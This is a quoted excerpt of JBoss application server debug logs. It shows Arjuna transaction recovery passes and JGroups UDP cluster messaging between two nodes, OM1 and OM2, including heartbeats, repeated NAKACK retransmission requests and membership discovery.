> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery) processing /StateManager/BasicAction/TwoPhaseCoordinator/AtomicAction transactions
> 2013-08-30 09:49:52,673 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:52,673 DEBUG [txoj] (Periodic Recovery) TORecoveryModule - first pass
> 2013-08-30 09:49:52,689 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:52,689 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule - first pass
> 2013-08-30 09:49:52,689 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:53,157 TRACE [UDP] (Incoming-7,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:53,157 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:54,483 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:54,483 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:55,887 DEBUG [FD] (Timer-2,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:55,887 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:55,887 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,168 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,168 TRACE [FD] (OOB-19,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:49:56,168 TRACE [UDP] (OOB-19,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,511 TRACE [UDP] (Timer-3,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,511 TRACE [UDP] (Timer-3,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:56,526 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:56,526 TRACE [PING] (OOB-19,null) received GET_MBRS_RSP from OM2:1299: own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299
> 2013-08-30 09:49:57,540 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-19,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-19,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-17,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|1], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:49:57,540 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,540 TRACE [PING] (OOB-17,null) received GET_MBRS_RSP from OM2:1299: own_addr=OM2:1299, view id=[OM1:1299|1], is_server=true, is_coord=false, logical_name=OM2:1299
> 2013-08-30 09:49:57,837 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,837 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#11
> 2013-08-30 09:49:57,837 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:57,962 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:57,962 TRACE [NAKACK] (Incoming-8,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:57,962 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:58,523 TRACE [PING] (Timer-4,<ADDR>) discovery took 2012 ms: responses: 2 total (2 servers (1 coord), 0 clients)
> 2013-08-30 09:49:58,523 TRACE [MERGE2] (Timer-4,<ADDR>) Discovery results:
> [OM1:1299]: [OM1:1299|1] [OM1:1299, OM2:1299]
> [OM2:1299]: [OM1:1299|1] [OM1:1299, OM2:1299]
> 2013-08-30 09:49:59,288 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:49:59,288 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) Periodic recovery second pass at Fri, 30 Aug 2013 09:50:02
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) AtomicActionRecoveryModule second pass
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [txoj] (Periodic Recovery) TORecoveryModule - second pass
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule - second pass
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule.transactionInitiatedRecovery completed
> 2013-08-30 09:50:02,704 DEBUG [jta] (Periodic Recovery) Local XARecoveryModule.resourceInitiatedRecovery completed
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery)  
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread Status <== INACTIVE
> 2013-08-30 09:50:02,704 DEBUG [arjuna] (Periodic Recovery) PeriodicRecovery: background thread backing off
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:02,766 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:02,766 TRACE [NAKACK] (Incoming-11,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:02,766 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: setting latest_local_digest from NAKACK: [OM1:1299#10, OM2:1299#6]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (Timer-4,<ADDR>) OM1:1299: sending stable msg [OM1:1299#10, OM2:1299#6]
> 2013-08-30 09:50:04,030 TRACE [NAKACK] (Timer-2,<ADDR>) sending OM1:1299#11
> 2013-08-30 09:50:04,030 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:04,030 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,030 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM1:1299#11
> 2013-08-30 09:50:04,030 TRACE [STABLE] (OOB-17,null) OM1:1299: handling digest from OM1:1299 (1 votes):
> mine:   [OM1:1299#6, OM2:1299#0]
> other:  [OM1:1299#10, OM2:1299#6]
> result: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:50:04,030 TRACE [STABLE] (OOB-17,null) OM1:1299: sending stability msg (in 276 ms) [OM1:1299#6, OM2:1299#0] (copy=1662754703)
> 2013-08-30 09:50:04,030 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 6 (11)], OM1:1299: [1 : 10 (10)], NAKACK: [MSG, seqno=11], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,092 TRACE [NAKACK] (Timer-3,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:04,092 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [STABLE] (Timer-5,<ADDR>) OM1:1299: sending stability msg [OM1:1299#6, OM2:1299#0] (copy=1662754703)
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (Timer-5,<ADDR>) sending OM1:1299#12
> 2013-08-30 09:50:04,311 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:04,311 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#12
> 2013-08-30 09:50:04,311 TRACE [STABLE] (OOB-20,null) OM1:1299: received stability msg from OM1:1299: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:50:04,311 TRACE [STABLE] (OOB-20,null) OM1:1299: resetting digest from NAKACK: [OM1:1299#11, OM2:1299#6]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) received stable digest OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) deleting msgs <= 0 from OM2:1299
> 2013-08-30 09:50:04,311 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABILITY]: digest is OM2:1299: [0 : 0 (11)], OM1:1299: [1 : 6 (10)], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:04,311 TRACE [NAKACK] (OOB-20,null) deleting msgs <= 6 from OM1:1299
> 2013-08-30 09:50:05,902 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:05,902 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:05,902 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:06,183 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:06,183 TRACE [FD] (OOB-20,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:06,183 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [NAKACK] (OOB-20,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [UDP] (OOB-20,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:07,571 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:07,571 TRACE [NAKACK] (Incoming-13,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:07,571 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:08,897 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:08,897 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [NAKACK] (OOB-20,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [UDP] (OOB-20,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:12,376 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,376 TRACE [NAKACK] (Incoming-14,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:12,376 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [NAKACK] (Timer-3,<ADDR>) sending OM1:1299#13
> 2013-08-30 09:50:12,392 TRACE [UDP] (Timer-3,<ADDR>) sending msg to null, src=OM1:1299, headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [UDP] (Timer-3,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:50:12,392 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:12,392 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#13
> 2013-08-30 09:50:12,392 TRACE [VIEW_SYNC] (OOB-20,null) view from OM1:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:50:12,392 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:13,702 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:13,702 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:15,917 DEBUG [FD] (Timer-4,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:15,917 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:15,917 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:16,198 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:16,198 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:16,198 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:17,181 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:17,181 TRACE [NAKACK] (Incoming-16,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:17,181 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:18,320 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=12], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:18,320 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#12
> 2013-08-30 09:50:18,320 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:50:18,507 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:18,507 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:21,986 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
